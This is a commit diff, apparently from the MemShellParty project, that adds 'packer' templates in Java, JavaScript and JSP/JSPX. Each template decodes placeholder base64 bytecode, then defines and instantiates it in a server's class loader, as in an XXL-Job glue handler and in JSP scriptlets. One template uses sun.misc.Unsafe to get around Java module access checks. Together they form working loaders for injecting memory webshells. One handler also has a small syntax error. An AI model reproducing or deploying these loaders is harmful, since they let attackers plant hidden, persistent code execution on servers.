mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-23 07:21:53 +08:00
refactor: add packer module
This commit is contained in:
@@ -0,0 +1,36 @@
|
||||
import com.xxl.job.core.biz.model.ReturnT;
|
||||
import com.xxl.job.core.handler.IJobHandler;
|
||||
|
||||
import java.util.Base64;
|
||||
|
||||
public class DemoGlueJobHandler extends IJobHandler {
|
||||
|
||||
public static class Definder extends ClassLoader {
|
||||
public Definder() {
|
||||
super(Thread.currentThread().getContextClassLoader());
|
||||
}
|
||||
|
||||
public Class<?> defineClass(byte[] bytes) {
|
||||
return defineClass(null, bytes, 0, bytes.length);
|
||||
}
|
||||
}
|
||||
|
||||
public void execute() throws Exception {
|
||||
execute(null)
|
||||
}
|
||||
|
||||
public ReturnT<String> execute(String param) throws Exception {
|
||||
String base64Str = "{{base64Str}}";
|
||||
String className = "{{className}}";
|
||||
try {
|
||||
Class.forName(className);
|
||||
} catch (ClassNotFoundException e) {
|
||||
try {
|
||||
new Definder().defineClass(Base64.getDecoder().decode(base64Str)).newInstance();
|
||||
} catch (Throwable ee) {
|
||||
ee.printStackTrace();
|
||||
}
|
||||
}
|
||||
return ReturnT.SUCCESS;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
class ClassDefiner extends ClassLoader {
|
||||
public ClassDefiner() {
|
||||
super(Thread.currentThread().getContextClassLoader());
|
||||
}
|
||||
|
||||
public byte[] decodeBase64(String bytecodeBase64) {
|
||||
java.util.Base64.Decoder decoder = java.util.Base64.getDecoder();
|
||||
return decoder.decode(bytecodeBase64);
|
||||
}
|
||||
|
||||
public Class<?> defineClass(byte[] code) {
|
||||
return defineClass(null, code, 0, code.length);
|
||||
}
|
||||
|
||||
@Override
|
||||
public String toString() {
|
||||
String className = "{{className}}";
|
||||
String base64Str = "{{base64Str}}";
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
classLoader.loadClass(className).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] bytecode = decodeBase64(base64Str);
|
||||
Class<?> clazz = defineClass(bytecode);
|
||||
clazz.newInstance();
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return className;
|
||||
}
|
||||
|
||||
static void main(String[] args) {
|
||||
new ClassDefiner().toString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
var base64Str = "{{base64Str}}";
|
||||
var clsString = java.lang.Class.forName("java.lang.String");
|
||||
var bytecode;
|
||||
try {
|
||||
var decoder = java.lang.Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
|
||||
bytecode = decoder.getClass().getMethod("decode", clsString).invoke(decoder, base64Str);
|
||||
} catch (ee) {
|
||||
var decoder = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||
bytecode = decoder.getClass().getMethod("decodeBuffer", clsString).invoke(decoder, base64Str);
|
||||
}
|
||||
var clsByteArray = (new java.lang.String("a").getBytes().getClass());
|
||||
var clsInt = java.lang.Integer.TYPE;
|
||||
var defineClass = java.lang.Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", [clsByteArray, clsInt, clsInt]);
|
||||
defineClass.setAccessible(true);
|
||||
var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(), bytecode, new java.lang.Integer(0), new java.lang.Integer(bytecode.length));
|
||||
clazz.newInstance();
|
||||
@@ -0,0 +1,33 @@
|
||||
<%@ page import="java.lang.*" %>
|
||||
<%@ page import="java.lang.Class" %>
|
||||
<%@ page import="java.lang.ClassLoader" %>
|
||||
<%@ page import="java.lang.ClassNotFoundException" %>
|
||||
<%@ page import="java.lang.Object" %>
|
||||
<%@ page import="java.lang.String" %>
|
||||
<%@ page import="java.lang.Thread" %>
|
||||
<%!
|
||||
public static class ClassDefiner extends ClassLoader {
|
||||
public ClassDefiner(ClassLoader classLoader) {
|
||||
super(classLoader);
|
||||
}
|
||||
|
||||
public Class<?> defineClass(byte[] code) {
|
||||
return defineClass(null, code, 0, code.length);
|
||||
}
|
||||
}
|
||||
%>
|
||||
|
||||
<%
|
||||
String base64Str = "{{base64Str}}";
|
||||
byte[] bytecode = null;
|
||||
try {
|
||||
Class base64Clz = Class.forName("java.util.Base64");
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (ClassNotFoundException ee) {
|
||||
Class datatypeConverterClz = Class.forName("javax.xml.bind.DatatypeConverter");
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||
}
|
||||
Class clazz = new ClassDefiner(Thread.currentThread().getContextClassLoader()).defineClass(bytecode);
|
||||
clazz.newInstance();
|
||||
%>
|
||||
@@ -0,0 +1,29 @@
|
||||
<jsp:root version="2.0" xmlns:jsp="http://java.sun.com/JSP/Page">
|
||||
<jsp:directive.page contentType="text/html"/>
|
||||
<jsp:directive.page pageEncoding="UTF-8"/>
|
||||
<jsp:declaration><![CDATA[
|
||||
public static class ClassDefiner extends ClassLoader {
|
||||
public ClassDefiner(ClassLoader classLoader) {
|
||||
super(classLoader);
|
||||
}
|
||||
public Class<?> defineClass(byte[] code) {
|
||||
return defineClass(null, code, 0, code.length);
|
||||
}
|
||||
}
|
||||
]]></jsp:declaration>
|
||||
<jsp:scriptlet><![CDATA[
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
String base64Str = "{{base64Str}}";
|
||||
byte[] bytecode = null;
|
||||
try {
|
||||
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (ClassNotFoundException ee) {
|
||||
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||
}
|
||||
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
|
||||
clazz.newInstance();
|
||||
]]></jsp:scriptlet>
|
||||
</jsp:root>
|
||||
@@ -0,0 +1,24 @@
|
||||
<%@ page import="java.lang.*" %>
|
||||
<%@ page import="java.lang.Class" %>
|
||||
<%@ page import="java.lang.ClassLoader" %>
|
||||
<%@ page import="java.lang.ClassNotFoundException" %>
|
||||
<%@ page import="java.lang.Object" %>
|
||||
<%@ page import="java.lang.String" %>
|
||||
<%@ page import="java.lang.Thread" %>
|
||||
<%
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
String base64Str = "{{base64Str}}";
|
||||
byte[] bytecode = null;
|
||||
try {
|
||||
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (ClassNotFoundException ee) {
|
||||
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||
}
|
||||
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, bytecode, 0, bytecode.length);
|
||||
clazz.newInstance();
|
||||
%>
|
||||
@@ -0,0 +1,48 @@
|
||||
<%@ page import="java.lang.*" %>
|
||||
<%@ page import="java.lang.Class" %>
|
||||
<%@ page import="java.lang.ClassLoader" %>
|
||||
<%@ page import="java.lang.ClassNotFoundException" %>
|
||||
<%@ page import="java.lang.Integer" %>
|
||||
<%@ page import="java.lang.Long" %>
|
||||
<%@ page import="java.lang.Object" %>
|
||||
<%@ page import="java.lang.String" %>
|
||||
<%@ page import="java.lang.Thread" %>
|
||||
<%@ page import="java.lang.Throwable" %>
|
||||
<%
|
||||
String base64Str = "{{base64Str}}";
|
||||
byte[] bytecode = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
try {
|
||||
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (ClassNotFoundException ee) {
|
||||
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||
}
|
||||
Object unsafe = null;
|
||||
Object rawModule = null;
|
||||
long offset = 48;
|
||||
java.lang.reflect.Method getAndSetObjectM = null;
|
||||
try {
|
||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||
unsafeField.setAccessible(true);
|
||||
unsafe = unsafeField.get(null);
|
||||
rawModule = Class.class.getMethod("getModule").invoke(this.getClass(), (Object[]) null);
|
||||
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
|
||||
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", java.lang.reflect.Field.class);
|
||||
offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
|
||||
getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
|
||||
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, module);
|
||||
} catch (Throwable ignored) {
|
||||
}
|
||||
java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());
|
||||
java.lang.reflect.Method defMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
|
||||
defMethod.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defMethod.invoke(urlClassLoader, bytecode, 0, bytecode.length);
|
||||
if (getAndSetObjectM != null) {
|
||||
getAndSetObjectM.invoke(unsafe, this.getClass(), offset, rawModule);
|
||||
}
|
||||
clazz.newInstance();
|
||||
%>
|
||||
Reference in New Issue
Block a user